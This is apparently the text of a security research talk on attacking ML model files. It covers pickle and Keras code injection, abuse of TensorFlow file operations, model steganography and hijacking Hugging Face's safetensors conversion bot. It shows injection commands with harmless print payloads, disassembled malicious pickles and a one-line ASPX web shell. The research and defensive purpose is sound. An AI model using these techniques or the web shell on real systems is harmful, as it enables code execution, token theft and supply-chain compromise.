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WHO ARE WE

● HiddenLayer’s Synaptic Adversarial 

Intelligence Team (SAI)

● Researching attacks against machine 

learning and overall security of AI systems

● Combined 60+ years of experience in:

○ threat intelligence

○ threat hunting & malware analysis

○ reverse engineering

○ vulnerability research

○ digital forensics & incident response

○ data science & machine learning



1. Supply chain attacks using ML models - Intro

2. Hijacking ML model serialization formats

● PyTorch / sklearn: pickle

● Keras: HDF5

● TensorFlow: SavedModel

● ONNX

3. Model steganography

4. Hijacking safetensors conversion on Hugging Face

5. Odds and ends

6. Way forward



ERA OF ML MODELS



ERA OF ML MODELS

  +  ~ 5k / week!



ERA OF SUPPLY CHAIN ATTACKS



SECURITY OF ML IS LAGGING BEHIND

Insecure code

Often vulnerable by design

No digital signatures / certs 

No integrity checks

No malware scanning



WHAT COULD POSSIBLY GO WRONG?

Data poisoning

Hijacked or
Backdoored 

models

Software vulns,
Compromised 

packages

Prediction 
tampering
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ML MODELS ARE JUST FILES

Model structure

Model tensors

● Bugs in model file formats allow for 

arbitrary code execution 

● Models can be used as initial foothold in 

supply chain attacks

● Sensitive data can be exfiltrated through 

ML models

● Model hijacking can allow for further 

tampering of AI systems

AND AS SUCH CAN BE EXPLOITED / INFECTED WITH MALWARE



ML SERIALIZATION FORMATS

joblib

TorchScript MsgPack

ONNX

SafeTensors

SavedModel

HDF5

pickle

numpy

Arrow

Python Java

POJO

MOJO

JSON

PMML

Cross-platform

And great many more…
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PICKLE FILE FORMAT

pickle

A built-in Python module for serialization and 

deserialization of Python object structures.

● Serialized objects (pickles) are binaries and 

resemble compiled programs

● Pickles are loaded and interpreted by a 

simple stack-based virtual machine

● Python documentation admits the format is 

not safe!



PICKLE SERIALIZATION

> python3 -m pickle data.pkl
{'Key_1': 'Value_1'}

> python3 -m pickletools data.pkl
   0:  \x80 PROTO  4
   2:  \x95 FRAME  22
   11: } EMPTY_DICT
   12: \x94 MEMOIZE (as 0)
   13: \x8c SHORT_BINUNICODE 'Key_1'
   20: \x94 MEMOIZE (as 1)
   21: \x8c SHORT_BINUNICODE 'Value_1'
   30: \x94 MEMOIZE (as 2)
   31: s SETITEM
   32: . STOP



PICKLE SERIALIZATION

pickle VM

● Implements about 70 instructions

● Four of these VM instructions allow for 

code execution

● The GLOBAL, and STACK_GLOBAL  and 

INST instructions can be used to import 

any Python class or module

● Then, the REDUCE instruction can be used 

to apply arguments to the previously 

imported  function



PICKLE INJECTION

> python picke_inject.py resnet18.pth exec “print('hello')”
> python
>>> import torch
>>> torch.load("resnet18.pth")
hello
OrderedDict([('conv1.weight', Parameter containing:

> python3 -m pickletools resnet18/data.pkl
    0: \x80 PROTO  2
    2: c GLOBAL '__builtin__ exec'
   20: q BINPUT 0
   22: X BINUNICODE "print('hello')"
   41: q BINPUT 1
   43: \x85 TUPLE1
   44: q BINPUT 2
   46: R REDUCE



FICKLING

> fickling --check-safety resnet18/data.pkl
…
Call to `_rebuild_tensor_v2(...)` can execute arbitrary code and is inherently unsafe
Call to `_rebuild_parameter(...)` can execute arbitrary code and is inherently unsafe
Call to `_var329.update(...)` can execute arbitrary code and is inherently unsafe
Call to `exec(...)` is almost certainly evidence of a malicious pickle file



PICKLE INJECTION - EVADING SCANNERS



WOULD YOU PICKLE A PICKLE ?



IT’S ALREADY HAPPENING
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HDF5, KERAS & LAMBDA LAYERS

Keras

Python based ML framework that 

runs atop TensorFlow 

● Uses HDF5  storage format 

(amongst others)

● Allows for code execution via 

Lambda layers

● Python’s marshal module is 

used for serialization of 

Lambda functions



MARSHALL SERIALIZATION



MARSHALL SERIALIZATION

>>> import marshal
>>> script = """print("Hello HiddenLayer!")"""
>>> code = compile(script, "test", "exec")
>>> file = open("marshal_test.bin", "wb")
>>> marshal.dump(code, file)
>>> import dis
>>> dis.dis(code)
  1   0 LOAD_NAME            0 (print)
 2 LOAD_CONST           0 ('Hello HiddenLayer!')
 4 CALL_FUNCTION        1
 6 POP_TOP
 8 LOAD_CONST           1 (None)

10 RETURN_VALUE



KERAS CODE EXECUTION

> python keras_inject.py model.h5 exec "print('This model has been hijacked!')"
> python
>>> import tensorflow as tf
>>> tf.keras.models.load_model(“model.h5")
This model has been hijacked!



ORIGINAL HIJACKED



KERAS CODE EXECUTION

> python
>>> import base64, marshal, dis
>>> binary = 
base64.b64decode(“4wAAAAAAAAAAAAAAAAIAAAACAAAATwAAAHMMAAAAdABkAYMBAQBkAlMAKQNO+iZwcmlu
>>> decompiled = marshal.loads(binary)                                                         
>>> print(dis.dis(decompiled))
  5       0 LOAD_GLOBAL          0 (exec)
          2 LOAD_CONST           1 ("print('This model has been hijacked!')")
          4 CALL_FUNCTION        1
          6 POP_TOP
  6       8 LOAD_CONST           2 (10)
         10 RETURN_VALUE
None



IT’S HAPPENING ALREADY AS WELL

Output from dis.dis()

Output from dis.show_code()
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TENSORFLOW - MODES OF OPERATION

Eager mode

● execute operations immediately

● easy to debug and test things

● used mainly for experimentation and learning

Graph mode

● operations added to a computational graph

● optimized for speed and efficiency

● typically used in production deployment

MORE INTERESTING TO ATTACKERS



SAVEDMODEL FILE FORMAT

SavedModel

Serialization format used by TensorFlow 

framework, based on Google’s ProtoBuf

● Portable, platform-independent means of 

executing the “graph” outside of a Python 

environment

● It’s not possible to execute arbitrary code 

directly from SavedModel when operating in 

graph mode

● BUT…



TENSORFLOW MODELS ARE PROGRAMS!



TENSORFLOW - EXFILTRATION

> saved_model_cli run --dir .\tf2-exfil\ --signature_def serving_default --tag_set 
serve --input_exprs "input=1"
Result for output key output: 
b'Super secret!

tf.io.read_file 

● Allows to read file from the system

● It can be used by the attacker to exfiltrate sensitive data

● tf.strings.substr & tf.slice can help to leak specific portion 

of a string/tensor



TENSORFLOW - CODE EXECUTION

tf.io.write_file 

● Allows to write file to the system

● Attackers can drop malware      

or overwrite existing legitimate 

files on the system and wait until 

they are executed

● tf.io.decode_base64 can be 

used to decode binary data

Hello!

echo pwnd



TENSORFLOW - DIRECTORY TRAVERSAL

tf.io.matching_files 

● allows to obtain a listing of files within 

a directory 

● combined with the read and write file 

operations and directory traversal 

can make the attacks more powerful

<%@ Page Language="Jscript"%>
<%eval(Request.Form["Command"],"unsafe");%

>
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ONNX

ONNX

Standard developed by Open Neural 

Network Exchange 

● based on Google’s ProtoBuf

● platform independent

● most frameworks have their own 

converters to ONNX format

● no code execution so far, but 

vulnerable to directory traversal

Source: NVIDIA
 

https://developer.nvidia.com/blog/end-to-end-ai-for-pcs-transitioning-ai-models-with-onnx/


ONNX - DIRECTORY TRAVERSAL
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MODEL STEGANOGRAPHY

Model Steganography

A technique of embedding a secret content inside 

the machine learning model by modifying the least 

significant bits of each floating point value in the 

model’s tensors.

● can be used to hide malicious payloads

● doesn’t visibly change the model’s behaviour

● very difficult to detect without having 

access to the original model



NEURAL NETWORK ARCHITECTURE



WHAT’S IN A NEURON?

Input (i)

Output

ϒ = ∑(w * i) + b

f(ϒ)

Neuron

Elementary unit in neural network.

Each neuron consists of:

● Set of weight values

● Bias value for a particular 

node in a neural network

● The layer’s activation function

Weight (w)

Bias (b)

Activation fn.



HOW NEURONS ARE STORED

Tensors

Multidimensional arrays of floating 

point values, serialized to disk as 

binary large objects (BLOB)

Floating point values contain sign 

bit, exponent and mantissa



INSIDE RESNET18

Model tensors

Model structure

0x000000BC = -0.0078125 

0xFF0000BC = -0.007812737487

0.007812737487 - 0.0078125 = 0.000000237487

Floating point values



 Nr of bits to overwrite 1-bit 2-bits 3-bits 4-bits 5-bits 6-bits 7-bits 8-bits
 Max size of embedded data 294.9 kB 589.8 kB 884.7 kB 1.2 MB 1.5 MB 1.8 MB 2.1 MB 2.4 MB

HIJACKING RESNET18

Payloads can be split between multiple tensors, encrypted and/or obfuscated

Modifying up to 8 bits doesn’t visibly change the model accuracy

Resnet18’s largest convolutional layer contains 9.4MB of floats (2,359,296 values in a 512x512x3x3 tensor)

Payloads can be decoded and executed via serialization vulnerabilities



DEMO

https://drive.google.com/file/d/1gLqt_uGIyCyMtPUyZabgZg26iPe5rmxb/view?usp=drive_link
https://drive.google.com/file/d/1gLqt_uGIyCyMtPUyZabgZg26iPe5rmxb/view?usp=drive_link
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SAFETENSORS FILE FORMAT

Safetensors

Secure file format developed by Hugging Face as 

a safer alternative to formats suffering from 

serialization vulnerabilities

● no code execution in  the format itself

● An automated conversion service that 

converts PyTorch files into safetensors is 

provided via HF Spaces

● This service could be compromised to 

hijack any model uploaded for conversion



HUGGING FACE SAFETENSORS CONVERSION

Not required ?!



HIJACKING SAFETENSORS CONVERSION



HIJACKING SAFETENSORS CONVERSION

An adversary can:

● create a malicious PyTorch model and upload it to HF 

● use the convertbot service to convert the model to safetensors 

file format, executing the malicious code

● exfiltrate Hugging Face token 

● send a malicious pull request to any repository on the site 

impersonating the legitimate conversion bot

● persistence possible by overwriting the bot code in memory
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VULNERABILITIES IN MLOPS PLATFORMS



COMPROMISING ML PACKAGES



MODEL ZOO TYPOSQUATTING



ON A POSITIVE NOTE…
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ALL OF THIS HAS HAPPENED BEFORE AND IT WILL HAPPEN AGAIN

Source: SYFY
 

https://www.syfy.com/battlestar-galactica


WAY FORWARD

Cryptographic signing Integrity checks Security evaluation



• marta@hiddenlayer.com 

• tom@hiddenlayer.com 

• eoin@hiddenlayer.com 


